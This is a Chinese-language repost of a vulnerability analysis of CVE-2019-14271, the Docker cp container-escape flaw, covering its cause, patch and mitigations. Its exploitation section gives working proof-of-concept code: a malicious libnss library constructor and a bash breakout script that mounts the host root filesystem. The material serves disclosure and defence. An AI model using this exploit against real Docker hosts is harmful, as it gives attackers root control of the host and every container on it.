docker run命令_CVE-2019-14271:Docker cp命令漏洞分析
0x00 前言
在過去幾年中,研究人員在各種容器平臺的copy(cp)命令中發現了幾個漏洞,這些平臺包括Docker、Podman及Kubernetes,其中最嚴重的漏洞直到今年7月份才被發現和披露。令人驚訝的是,當時這個漏洞并沒有引起太多關注,這可能是因為該漏洞的CVE描述并不清晰,并且也沒有公開利用代碼。
CVE-2019-14271是Docker cp命令實現中存在的一個安全問題,攻擊者可以利用該漏洞實現完整的容器逃逸。這是從2月份runC漏洞公布以來第一個容器逃逸類漏洞。
如果攻擊者先前已入侵了某個容器(比如通過各種漏洞、被泄露的私密信息等),或者當用戶通過不可信源(registry等)運行某個惡意容器鏡像,那么攻擊者就可以利用該漏洞。如果用戶隨后執行了存在漏洞的cp命令,將文件從被入侵的容器中拷貝出來,那么攻擊者就可以實現容器逃逸,完全控制宿主機以及其中的所有容器。
CVE-2019-14271的評估等級為“Critical”,已在19.03.1版的Docker中被修復。本文介紹了CVE-2019-14271漏洞,并提出了該漏洞的第一個PoC。
我和Ariel Zelivansky一直在密切關注主流容器平臺上最近出現的copy漏洞,我們將于11月20日在San Diego的KubeCon + CloudNativeCon 2019上分享我們的研究成果。在會議上我們將分析過去已有的漏洞、不同的內部實現以及某些底層原因,解釋這條簡單命令為何難以妥善實現。我們還將討論為解決該問題而開發的一些新的內核功能。
0x01 Docker cp
我們可以使用copy命令,將文件拷貝至/拷貝出容器,也可以在容器間相互拷貝。命令語法非常簡單,與標準的Unix cp命令類似。為了從容器中拷貝出/var/logs,我們可以使用該語法:docker cp container_name:/var/logs /some/host/path。
如下圖所示,為了將文件從容器中拷出,Docker使用了一個輔助進程:docker-tar。
圖1. 從容器中拷貝文件docker-tar的原理是chroot到容器中(如下圖所示),歸檔其中請求的文件及目錄,然后將生成的tar文件傳回Docker守護進程,該進程負責將文件提取到宿主機上的目標目錄中。
圖2. docker-tar chroot到容器中
執行chroot操作最主要的目的是避免符號鏈接(symlink)攻擊,當宿主機進程嘗試訪問容器中的文件時就可能發生這種攻擊。如果其中某個文件為符號鏈接,那么就可能被解析到宿主機的根目錄,這樣攻擊者控制的容器就有可能通過容器的cp命令在宿主機上讀取并寫入文件。在過去一年中,Docker及Podman中已經有多個CVE與符號鏈接有關。通過chroot到容器根目錄,docker-tar就可以確保所有的符號鏈接已被正確解析。
不幸的是,chroot到容器中存在一個副作用,當從容器中拷貝文件時,會造成更嚴重的后果。
0x02 CVE-2019-14271
Docker采用Golang編寫,更具體一些,存在漏洞的Docker版本采用Go v1.11編譯。在這個版本中,包含嵌入式C代碼(cgo)的某些package會在運行時動態加載共享庫。這些package包括net及os/user,docker-tar都用到了這兩個package,會在運行時動態加載一些libnss_*.so庫。正常情況下,程序庫會從宿主機的文件系統中加載,然而由于docker-tar會chroot到容器中,因此會從容器的文件系統中加載這些庫。這意味著docker-tar會加載并執行受容器控制的代碼。
這里要澄清一點:除了chroot到容器文件系統中之外,docker-tar并沒有被容器化。docker-tar運行在宿主機命名空間中,具備所有root功能,并且沒有受cgroups以及seccomp限制。因此,攻擊者可以將代碼注入到docker-tar,就可以通過惡意容器獲得宿主機的完整root訪問權限。
當Docker用戶從如下幾種容器中拷貝文件時,就存在被攻擊的風險:
- 運行惡意鏡像的容器,其中帶有惡意的libnss_*.so庫;
- 攻擊者在被入侵的容器中替換libnss_*.so庫。
在這兩種情況下,攻擊者都可以獲得宿主機上的root代碼執行權限。
有趣的是,研究人員實際上是從某個GitHub issue中發現了該漏洞,當時用戶嘗試從某個debian:buster-slim容器中拷貝文件,但docker cp命令總是無法成功執行。當時的問題在于該鏡像并沒有包含libnss庫,因此當用戶運行docker cp命令,docker-tar進程嘗試從容器系統中加載這些庫時,就會出現錯誤。
0x03 漏洞利用
為了利用CVE-2019-14271,我們需要構建一個惡意的libnss庫,這里我選擇的是libnss_files.so。我下載了該庫的源代碼,在源文件中添加了一個函數:run_at_link()。我還使用constructor屬性來定義該函數。constructor屬性(GCC特定語法)表示run_at_link函數會在目標庫被進程加載時作為初始化函數來執行,這意味著當docker-tar進程動態加載我們的惡意庫時,run_at_link就會被執行。run_at_link代碼如下所示,這里我做了適當精簡:#include ... #define ORIGINAL_LIBNSS "/original_libnss_files.so.2" #define LIBNSS_PATH "/lib/x86_64-linux-gnu/libnss_files.so.2" bool is_priviliged(); __attribute__ ((constructor)) void run_at_link(void) { char * argv_break[2]; if (!is_priviliged()) return; rename(ORIGINAL_LIBNSS, LIBNSS_PATH); fprintf(log_fp, "switched back to the original libnss_file.so"); if (!fork()) { // Child runs breakout argv_break[0] = strdup("/breakout"); argv_break[1] = NULL; execve("/breakout", argv_break, NULL); } else wait(NULL); // Wait for child return; } bool is_priviliged() { FILE * proc_file = fopen("/proc/self/exe", "r"); if (proc_file != NULL) { fclose(proc_file); return false; // can open so /proc exists, not privileged } return true; // we're running in the context of docker-tar }run_at_link首先會驗證代碼運行在docker-tar上下文中,這是因為其他正常的容器進程也可能加載該庫。代碼通過檢查/proc目錄完成該操作。如果run_at_link運行在docker-tar上下文中,那么該目錄將為空,這是因為掛載到/proc的procfs只存在于容器的mount命名空間中。
接下來,run_at_link會將惡意庫替換為原始的libnss庫。這樣能確保利用代碼運行的后續進程不會意外加載惡意庫,避免再次執行run_at_link。
隨后,為了簡化利用過程,run_at_link會嘗試運行容器中的/breakout可執行文件。這樣后續利用代碼就可以在bash中完成,不需要依賴于C。后續利用邏輯不受限于run_at_link,這也意味著當利用代碼有改動時,我們不需要每次都重新編譯惡意庫,只需要修改breakout程序即可。
如下圖所示,當Docker用戶運行惡意鏡像(其中包含我們的惡意libnss_files.so庫),嘗試從容器中拷貝某些日志文件時,鏡像中的/breakout程序就會執行。這里的/breakout是一個簡單的bash腳本,會將宿主文件系統加載到容器的/host_fs,并將信息寫入宿主機上的/evil。
圖3. 利用CVE-2019-14271實現容器逃逸
該視頻中使用的/breakout腳本源碼如下所示。為了獲取宿主機根文件系統的引用,腳本將procfs掛載到/proc。由于docker-tar運行在宿主機的PID命名空間中,被掛載的procfs將會包含宿主機進程中的數據。該腳本隨后會掛載宿主機PID 1的根目錄。#!/bin/bash umount /host_fs && rm -rf /host_fs mkdir /host_fs mount -t proc none /proc # mount the host's procfs over /proc cd /proc/1/root # chdir to host's root mount --bind . /host_fs # mount host root at /host_fs echo "Hello from within the container!" > /host_fs/evil
0x04 漏洞補丁
漏洞補丁修復了docker-tar的init函數,避免存在問題的Go package調用任意函數。補丁強制docker-tar在chroot到容器前,先從宿主機系統中加載libnss庫。
圖4. 補丁代碼
0x05 總結
如果某個漏洞能夠在宿主機上執行代碼,那該漏洞將非常危險。用戶應確保當前運行19.03.1版或更高版本的Docker,這些版本中已經修復了該問題。為了限制這類漏洞的攻擊面,我建議大家永遠不要運行不可信的鏡像。
此外,如果不是特殊情況,我建議大家以非root用戶運行容器,這樣能進一步提高容器安全性,避免攻擊者利用容器引擎或者內核中存在的各種問題。對于CVE-2019-14271漏洞,如果容器以非root用戶運行,那么當前環境仍然安全。即便攻擊者成功入侵容器,也無法覆蓋容器的libnss庫,因為這些庫歸root所有,因此攻擊者無法利用該漏洞。Ariel Zelivansky還發表過一篇文章,其中介紹了以非root用戶運行容器的各種優點,供大家參考。
原文鏈接:https://www.anquanke.com/post/id/193218
歡迎登錄安全客 - 有思想的安全新媒體www.anquanke.com/ 加入交流群814450983 獲取更多最新資訊
總結
以上是生活随笔為你收集整理的docker run命令_CVE-2019-14271:Docker cp命令漏洞分析的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: mysql备份到邮箱,备份网站mysql
- 下一篇: 信息学奥赛一本通 1185:单词排序 |